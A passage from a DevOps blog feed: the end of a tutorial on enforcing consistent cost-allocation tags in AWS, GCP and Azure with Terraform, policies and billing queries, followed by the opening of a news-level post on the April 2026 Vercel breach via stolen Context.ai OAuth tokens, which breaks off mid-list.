        </h2><p>The mistake almost everyone makes is starting in the AWS console. You end up with <code>Team</code>, <code>team</code>, <code>TeamName</code>, and <code>owner</code> all meaning the same thing, and Cost Explorer treats them as four different dimensions.</p>
<p>Pick the keys once. Write them down. Commit the document to a repo before anyone provisions another resource.</p>
<p>A schema that works in practice:</p>
<pre><code class="hljs language-text">team          required   lowercase, no spaces      payments, growth, platform
environment   required   one of: prod, staging, dev, sandbox
cost-center   required   finance code              cc-1042, cc-2008
service       required   logical app or service    checkout-api, ml-training
managed-by    optional   provisioning system       terraform, manual, helm
data-class    optional   one of: public, internal, confidential, restricted
</code></pre><p>Two rules that save pain later:</p>
<ol>
<li><strong>All keys lowercase, hyphen separated.</strong> GCP labels reject uppercase outright. Azure tags are case-insensitive on lookup but case-sensitive when displayed. AWS preserves whatever you give it. Pick lowercase and stop arguing.</li>
<li><strong>All values from a controlled vocabulary where possible.</strong> &quot;Payments&quot; and &quot;payments-team&quot; and &quot;Payments Team&quot; will fragment your cost reports the same way uppercase keys do.</li>
</ol>
<h2 id="h2-step-2-aws-tag-then-activate" class="group relative scroll-mt-24">
        <a href="#h2-step-2-aws-tag-then-activate" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: AWS - tag, then activate
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-aws-tag-then-activate"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>AWS has a quirk that surprises new users: applying a tag to a resource does not automatically make it show up in cost reports. You have to <strong>activate</strong> it as a cost allocation tag in the billing console first, and only then will it appear in Cost Explorer and the Cost and Usage Report (CUR).</p>
<p>Set up Terraform with <code>default_tags</code> so every resource in a provider block inherits your schema:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">provider</span> <span class="hljs-string">&quot;aws&quot;</span> {
  region = <span class="hljs-string">&quot;eu-west-1&quot;</span>

  default_tags {
    tags = {
      team         = var.team
      environment  = var.environment
      cost-center  = var.cost_center
      service      = var.service
      managed-by   = <span class="hljs-string">&quot;terraform&quot;</span>
    }
  }
}

<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;aws_instance&quot;</span> <span class="hljs-string">&quot;api&quot;</span> {
  ami           = <span class="hljs-string">&quot;ami-0abcdef1234567890&quot;</span>
  instance_type = <span class="hljs-string">&quot;t3.medium&quot;</span>
  <span class="hljs-comment"># No tags block needed. Default tags are applied automatically.</span>
}
</code></pre><p>Activate the tags so AWS bills against them:</p>
<pre><code class="hljs language-bash">aws ce update-cost-allocation-tags-status \
  --cost-allocation-tags-status \
    <span class="hljs-string">&#x27;TagKey=team,Status=Active&#x27;</span> \
    <span class="hljs-string">&#x27;TagKey=environment,Status=Active&#x27;</span> \
    <span class="hljs-string">&#x27;TagKey=cost-center,Status=Active&#x27;</span> \
    <span class="hljs-string">&#x27;TagKey=service,Status=Active&#x27;</span>
</code></pre><p>Expected output:</p>
<pre><code class="hljs language-text">{
    &quot;Errors&quot;: []
}
</code></pre><p>Heads up: activated tags only apply to <strong>new</strong> usage. Costs from before activation stay untagged forever. Activate early.</p>
<p>To enforce that nothing untagged gets created, attach an AWS Organizations Tag Policy:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;tags&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;team&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;tag_key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;team&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;tag_value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;payments&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;growth&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;platform&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;data&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;ml&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enforced_for&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;ec2:instance&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;ec2:volume&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;rds:db&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;s3:bucket&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;environment&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;tag_key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;environment&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;tag_value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;prod&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;staging&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;dev&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;sandbox&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enforced_for&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@@assign&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;ec2:instance&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;ec2:volume&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;rds:db&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;s3:bucket&quot;</span><span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>When someone tries to create an EC2 instance without those tags, you get a clear failure:</p>
<pre><code class="hljs language-text">An error occurred (TagPolicyViolation) when calling the RunInstances operation:
The request was rejected because tag policy compliance check failed.
Missing required tag keys: team, environment.
</code></pre><p>That is the error message you want. Loud, early, and specific.</p>
<h2 id="h2-step-3-gcp-labels-not-tags" class="group relative scroll-mt-24">
        <a href="#h2-step-3-gcp-labels-not-tags" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: GCP - labels, not tags
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-gcp-labels-not-tags"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>GCP confuses people because it has both <strong>labels</strong> (key-value pairs for billing and grouping) and <strong>tags</strong> (a separate IAM thing for conditional policies). For cost allocation you want labels.</p>
<p>Label keys must be lowercase, must start with a letter, and can contain letters, digits, hyphens, and underscores. No dots, no uppercase, no spaces. Pick <code>cost-center</code> not <code>CostCenter</code>.</p>
<p>Add labels via Terraform:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;google_compute_instance&quot;</span> <span class="hljs-string">&quot;api&quot;</span> {
  name         = <span class="hljs-string">&quot;api-prod-eu-1&quot;</span>
  machine_type = <span class="hljs-string">&quot;e2-standard-4&quot;</span>
  zone         = <span class="hljs-string">&quot;europe-west1-b&quot;</span>

  labels = {
    team        = <span class="hljs-string">&quot;payments&quot;</span>
    environment = <span class="hljs-string">&quot;prod&quot;</span>
    cost-center = <span class="hljs-string">&quot;cc-1042&quot;</span>
    service     = <span class="hljs-string">&quot;checkout-api&quot;</span>
    managed-by  = <span class="hljs-string">&quot;terraform&quot;</span>
  }

  boot_disk {
    initialize_params {
      image = <span class="hljs-string">&quot;debian-cloud/debian-12&quot;</span>
    }
  }

  network_interface {
    network = <span class="hljs-string">&quot;default&quot;</span>
  }
}
</code></pre><p>Unlike AWS, GCP does not require activation. Labels show up automatically in the billing export once you turn it on. If you have not enabled the BigQuery billing export yet, do that now:</p>
<pre><code class="hljs language-bash">gcloud billing accounts list

gcloud beta billing accounts describe BILLING_ACCOUNT_ID
</code></pre><p>Then in the console: <strong>Billing &gt; Billing export &gt; BigQuery export</strong>, point it at a dataset, and within a few hours you can query labeled cost like this:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">SELECT</span>
  (<span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">value</span> <span class="hljs-keyword">FROM</span> <span class="hljs-built_in">UNNEST</span>(labels) <span class="hljs-keyword">WHERE</span> key <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;team&#x27;</span>)        <span class="hljs-keyword">AS</span> team,
  (<span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">value</span> <span class="hljs-keyword">FROM</span> <span class="hljs-built_in">UNNEST</span>(labels) <span class="hljs-keyword">WHERE</span> key <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;environment&#x27;</span>) <span class="hljs-keyword">AS</span> environment,
  service.description                                           <span class="hljs-keyword">AS</span> service,
  <span class="hljs-built_in">SUM</span>(cost)                                                     <span class="hljs-keyword">AS</span> cost_usd
<span class="hljs-keyword">FROM</span> `my<span class="hljs-operator">-</span>project.billing_export.gcp_billing_export_v1_<span class="hljs-operator">*</span>`
<span class="hljs-keyword">WHERE</span> _PARTITIONDATE <span class="hljs-keyword">BETWEEN</span> <span class="hljs-string">&#x27;2026-04-01&#x27;</span> <span class="hljs-keyword">AND</span> <span class="hljs-string">&#x27;2026-04-30&#x27;</span>
<span class="hljs-keyword">GROUP</span> <span class="hljs-keyword">BY</span> team, environment, service
<span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> cost_usd <span class="hljs-keyword">DESC</span>
LIMIT <span class="hljs-number">50</span>;
</code></pre><p>Sample output:</p>
<pre><code class="hljs language-text">team       environment  service                      cost_usd
payments   prod         Compute Engine               18420.55
growth     prod         BigQuery                     12005.10
ml         prod         Vertex AI                     9870.22
platform   prod         Cloud Logging                 4012.98
NULL       NULL         Compute Engine                3211.40   &lt;-- still untagged
</code></pre><p>That last row is the one to chase. To prevent more of it, add an Organization Policy that requires labels on resource creation:</p>
<pre><code class="hljs language-bash">gcloud resource-manager org-policies set-policy required_labels.yaml \
  --organization=ORG_ID
</code></pre><p>Where <code>required_labels.yaml</code> contains:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">constraint:</span> <span class="hljs-string">constraints/gcp.requireLabelsOnResourceCreation</span>
<span class="hljs-attr">listPolicy:</span>
  <span class="hljs-attr">allowedValues:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">team</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">environment</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">cost-center</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">service</span>
</code></pre><h2 id="h2-step-4-azure-tags-plus-policies" class="group relative scroll-mt-24">
        <a href="#h2-step-4-azure-tags-plus-policies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Azure - tags plus policies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-azure-tags-plus-policies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Azure tags are key-value pairs you attach to resources, resource groups, or subscriptions. Two gotchas worth knowing:</p>
<ul>
<li>Tags on a resource group do <strong>not</strong> propagate to resources inside it by default. You either set tags directly on each resource or use Azure Policy with the <code>inherit-tag</code> effect.</li>
<li>The portal may show tag keys with their original casing, but lookups are case-insensitive. Stick to lowercase to match AWS and GCP.</li>
</ul>
<p>In Terraform:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;azurerm_resource_group&quot;</span> <span class="hljs-string">&quot;payments&quot;</span> {
  name     = <span class="hljs-string">&quot;rg-payments-prod-weu&quot;</span>
  location = <span class="hljs-string">&quot;westeurope&quot;</span>

  tags = {
    team        = <span class="hljs-string">&quot;payments&quot;</span>
    environment = <span class="hljs-string">&quot;prod&quot;</span>
    cost-center = <span class="hljs-string">&quot;cc-1042&quot;</span>
    service     = <span class="hljs-string">&quot;checkout-api&quot;</span>
    managed-by  = <span class="hljs-string">&quot;terraform&quot;</span>
  }
}

<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;azurerm_linux_virtual_machine&quot;</span> <span class="hljs-string">&quot;api&quot;</span> {
  name                = <span class="hljs-string">&quot;vm-api-prod-01&quot;</span>
  resource_group_name = azurerm_resource_group.payments.name
  location            = azurerm_resource_group.payments.location
  size                = <span class="hljs-string">&quot;Standard_D4s_v5&quot;</span>
  admin_username      = <span class="hljs-string">&quot;azureuser&quot;</span>

  tags = azurerm_resource_group.payments.tags

  <span class="hljs-comment"># ... network_interface_ids, os_disk, source_image_reference, etc.</span>
}
</code></pre><p>For enforcement, assign a built-in Azure Policy that denies any resource missing required tags:</p>
<pre><code class="hljs language-bash">az policy assignment create \
  --name <span class="hljs-string">&#x27;require-team-tag&#x27;</span> \
  --scope <span class="hljs-string">&quot;/subscriptions/<span class="hljs-variable">$SUBSCRIPTION_ID</span>&quot;</span> \
  --policy <span class="hljs-string">&#x27;871b6d14-10aa-478d-b590-94f262ecfa99&#x27;</span> \
  --params <span class="hljs-string">&#x27;{&quot;tagName&quot;: {&quot;value&quot;: &quot;team&quot;}}&#x27;</span>
</code></pre><p>Policy ID <code>871b6d14-10aa-478d-b590-94f262ecfa99</code> is the built-in &quot;Require a tag on resources&quot; policy. Assign it once per required key (<code>team</code>, <code>environment</code>, <code>cost-center</code>, <code>service</code>).</p>
<p>Now a missing tag fails at deployment:</p>
<pre><code class="hljs language-text">{
  &quot;error&quot;: {
    &quot;code&quot;: &quot;RequestDisallowedByPolicy&quot;,
    &quot;message&quot;: &quot;Resource &#x27;vm-api-prod-01&#x27; was disallowed by policy.
                Reasons: &#x27;The given resource does not have the required tag &#x27;team&#x27;&#x27;.&quot;
  }
}
</code></pre><p>To see costs broken down by tag, open <strong>Cost Management + Billing &gt; Cost analysis</strong>, group by tag, and pick <code>team</code>. Or query via CLI:</p>
<pre><code class="hljs language-bash">az consumption usage list \
  --start-date 2026-04-01 --end-date 2026-04-30 \
  --query <span class="hljs-string">&quot;[?tags.team==&#x27;payments&#x27;].{resource:instanceName, cost:pretaxCost}&quot;</span> \
  --output table
</code></pre><h2 id="h2-step-5-backfill-the-legacy-stuff" class="group relative scroll-mt-24">
        <a href="#h2-step-5-backfill-the-legacy-stuff" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: Backfill the legacy stuff
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-5-backfill-the-legacy-stuff"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Enforcement only fixes new resources. The pile of untagged stuff from before still shows up in your reports. Tag it in bulk.</p>
<p>For AWS, use the Resource Groups Tagging API:</p>
<pre><code class="hljs language-bash">aws resourcegroupstaggingapi tag-resources \
  --resource-arn-list \
    <span class="hljs-string">&quot;arn:aws:ec2:eu-west-1:123456789012:instance/i-0abc123&quot;</span> \
    <span class="hljs-string">&quot;arn:aws:ec2:eu-west-1:123456789012:instance/i-0def456&quot;</span> \
  --tags team=platform,environment=prod,cost-center=cc-9001,service=legacy-jobs
</code></pre><p>For GCP, label updates can be batched with <code>gcloud</code>:</p>
<pre><code class="hljs language-bash"><span class="hljs-keyword">for</span> instance <span class="hljs-keyword">in</span> $(gcloud compute instances list --format=<span class="hljs-string">&quot;value(name,zone)&quot;</span> | grep legacy); <span class="hljs-keyword">do</span>
  name=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$instance</span> | awk <span class="hljs-string">&#x27;{print $1}&#x27;</span>)
  zone=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$instance</span> | awk <span class="hljs-string">&#x27;{print $2}&#x27;</span>)
  gcloud compute instances update <span class="hljs-string">&quot;<span class="hljs-variable">$name</span>&quot;</span> --zone <span class="hljs-string">&quot;<span class="hljs-variable">$zone</span>&quot;</span> \
    --update-labels=team=platform,environment=prod,cost-center=cc-9001
<span class="hljs-keyword">done</span>
</code></pre><p>For Azure, the same pattern with <code>az tag update</code>:</p>
<pre><code class="hljs language-bash">az resource list --query <span class="hljs-string">&quot;[?tags.team==null].id&quot;</span> -o tsv | <span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> <span class="hljs-built_in">id</span>; <span class="hljs-keyword">do</span>
  az tag update --resource-id <span class="hljs-string">&quot;<span class="hljs-variable">$id</span>&quot;</span> --operation merge \
    --tags team=platform environment=prod cost-center=cc-9001
<span class="hljs-keyword">done</span>
</code></pre><p>Run a dry-run first by listing what would be touched, especially in production.</p>
<h2 id="h2-common-pitfalls-that-bite" class="group relative scroll-mt-24">
        <a href="#h2-common-pitfalls-that-bite" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common pitfalls that bite
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-pitfalls-that-bite"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>AWS tag activation is retroactive only for new usage.</strong> If you activate <code>team</code> today, last month&#39;s costs stay grouped as <code>(not activated)</code>. There is no fix. Activate early in the lifecycle.</li>
<li><strong>GCP labels reject uppercase, dots, and starting with a digit.</strong> A schema that works in AWS may fail at apply time in GCP with <code>Invalid value for field &#39;resource.labels&#39;</code>. Validate keys against the strictest cloud first.</li>
<li><strong>Azure resource group tags do not propagate.</strong> A resource group tagged <code>team=payments</code> does not pass that to the VM inside it. Use the <code>inherit-tag</code> Azure Policy effect or set tags directly on resources.</li>
<li><strong>Some AWS services do not support tags on every sub-resource.</strong> CloudFront, Route 53 hosted zones, and a handful of others have spotty support. Check the docs before you assume coverage.</li>
<li><strong>Tag keys count toward limits.</strong> AWS allows 50 tags per resource. Azure allows 50. GCP allows 64 labels. Sounds like a lot until your platform team adds 30 of their own.</li>
</ul>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You now have a tag schema, enforcement at apply time, and visibility in each cloud&#39;s billing tooling. Pick one of these as the next move:</p>
<ol>
<li><strong>Wire the cost data into one place.</strong> Pull AWS CUR, GCP BigQuery export, and Azure exports into a single warehouse (BigQuery, Snowflake, or even Postgres if your bill is small). Build one chargeback report instead of three.</li>
<li><strong>Add a CI check that fails PRs missing tags.</strong> Run <code>terraform plan</code> and pipe through <code>conftest</code> or <code>checkov</code> to reject any resource block without the required keys. Catch it before it hits the cloud at all.</li>
<li><strong>Set up an &quot;untagged resources&quot; alert.</strong> A weekly job that counts resources without <code>team</code> and posts to Slack. The number should trend toward zero. If it does not, your enforcement has a hole.</li>
<li><strong>Run a tagging coverage report monthly.</strong> AWS calls this the &quot;Cost Allocation Tag&quot; coverage view. GCP and Azure require a quick SQL query or KQL query against the billing export. Track it like an SLO.</li>
</ol>
<p>The day finance asks &quot;who spent the $84,000?&quot; again, you want the answer to be a single SQL query, not a two-week archaeology project.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The Vercel April 2026 Security Incident: What Happened and What to Do About It]]></title>
      <link>https://devops.anhp.site/posts/vercel-april-2026-security-incident</link>
      <description><![CDATA[Vercel disclosed a security incident that started with a compromised OAuth app at Context.ai, escalated through a Vercel employee Google Workspace account, and reached internal systems plus customer environment variables not marked sensitive. Here is the attack chain, what was exposed, and what to change in your deployments.]]></description>
      <pubDate>Mon, 20 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/vercel-april-2026-security-incident</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[vercel]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[oauth]]></category><category><![CDATA[google-workspace]]></category><category><![CDATA[devops]]></category>
      <content:encoded><![CDATA[<p>On April 19, 2026, Vercel <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident">disclosed a security incident</a> involving unauthorized access to internal systems. The attack did not start at Vercel. It started at a third-party AI tool called Context.ai that a Vercel employee happened to use, traveled through a compromised Google Workspace OAuth app, and eventually reached Vercel&#39;s internal environments and a subset of customer environment variables.</p>
<p>This is the story of a supply chain attack where the &quot;supply chain&quot; is not your code or your npm packages. It is the SaaS apps your employees log into with Google. Here is what happened, how to tell if you are affected, and what to change.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Disclosed</td>
<td>April 19, 2026</td>
</tr>
<tr>
<td>Initial compromise</td>
<td>Context.ai AWS breach, March 2026</td>
</tr>
<tr>
<td>Initial vector</td>
<td>Stolen OAuth tokens for a Google Workspace OAuth app</td>
</tr>
<tr>
<td>OAuth client ID</td>
<td><code>110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com</code></td>
</tr>
<tr>
<td>Affected</td>
<td>&quot;A limited subset of customers&quot; whose Vercel credentials were compromised</td>
</tr>
<tr>
<td>Data exposure</td>
<td>Environment variables <strong>not</strong> marked sensitive may have been read</td>
</tr>
<tr>
<td>Data NOT exposed</td>
<td>Environment variables marked sensitive</td>
</tr>
<tr>
<td>Response</td>
<td>Mandiant engaged, law enforcement notified, affected customers contacted directly</td>
</tr>
<tr>
<td>Services</td>
<td>Remained operational throughout</td>
</tr>
</tbody></table>
<p>Official sources: <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident">Vercel security bulletin</a> and <a href="https://x.com/vercel/status/2045865072074035664">Vercel&#39;s announcement on X</a>. Vercel CEO Guillermo Rauch also <a href="https://x.com/rauchg/status/2045995362499076169">followed up with context</a>.</p>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The attack chain is worth understanding in full because it illustrates how modern &quot;supply chain&quot; breaches increasingly route through identity providers rather than through code.</p>
<ol>
<li><strong>March 2026: Context.ai has an AWS breach.</strong> Context.ai is an AI tooling startup. They disclosed a breach of their AWS infrastructure in March. <a href="https://www.crowdstrike.com/">CrowdStrike</a> investigated on their behalf.</li>
<li><strong>OAuth tokens were stolen but not flagged.</strong> The AWS breach also exposed OAuth tokens that Context.ai held for its Google Workspace integration. The investigation apparently did not catch this.</li>
<li><strong>A Vercel employee used Context.ai.</strong> That employee had granted Context.ai access to their Google Workspace via OAuth, as you do with any third-party SaaS app that needs to read mail, files, or calendars.</li>
<li><strong>Attacker replayed the tokens.</strong> With valid OAuth tokens, the attacker could impersonate the Context.ai app and access the Vercel employee&#39;s Google Workspace account. No password or MFA prompt is triggered when a pre-authorized OAuth app calls the Google APIs.</li>
<li><strong>Lateral movement into Vercel internal systems.</strong> From the Workspace account, through a series of escalating moves, the attacker reached Vercel internal environments.</li>
